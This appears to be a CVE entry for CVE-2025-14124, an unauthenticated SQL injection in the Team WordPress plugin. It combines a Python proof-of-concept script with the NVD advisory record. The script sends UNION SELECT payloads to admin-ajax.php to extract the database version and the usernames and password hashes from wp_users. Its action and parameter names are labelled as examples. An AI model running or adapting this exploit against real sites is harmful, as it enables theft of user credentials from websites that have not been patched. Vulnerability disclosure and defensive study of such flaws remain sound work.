CVE-2025-14124

import requests import sys # CVE-2025-14124 WordPress Team Plugin SQL Injection PoC # Target: WordPress site with vulnerable Team plugin < 5.0.11 def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in Team plugin Args: target_url: Base URL of the WordPress site payload: SQL injection payload Returns: Server response text """ # Common AJAX endpoint for WordPress plugins endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Identify the specific AJAX action and parameter data = { 'action': 'team_ajax_action', # Example action name 'parameter': payload # Vulnerable parameter } try: response = requests.post(endpoint, data=data, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_database_version(target_url): """ Extract database version using SQL injection """ payload = "1' UNION SELECT NULL,version(),NULL-- -" return exploit_sqli(target_url, payload) def extract_user_table(target_url): """ Extract WordPress users table data """ payload = "1' UNION SELECT NULL,user_login,user_pass FROM wp_users-- -" return exploit_sqli(target_url, payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14124.py <target_url>") print("Example: python cve-2025-14124.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting: {target}") print("[*] Extracting database version...") result = extract_database_version(target) print(f"[+] Result: {result}")

{"cve": {"id": "CVE-2025-14124", "sourceIdentifier": "[email protected]", "published": "2026-01-05T06:16:02.923", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Team WordPress plugin before 5.0.11 does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection."}, {"lang": "es", "value": "El plugin de WordPress Team anterior a la versión 5.0.11 no sanitiza ni escapa correctamente un parámetro antes de usarlo en una declaración SQL a través de una acción AJAX disponible para usuarios no autenticados, lo que lleva a una inyección SQL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "references": [{"url": "https://wpscan.com/vulnerability/fdd19027-b70e-45a4-882b-77ab1819af91/", "source": "[email protected]"}]}}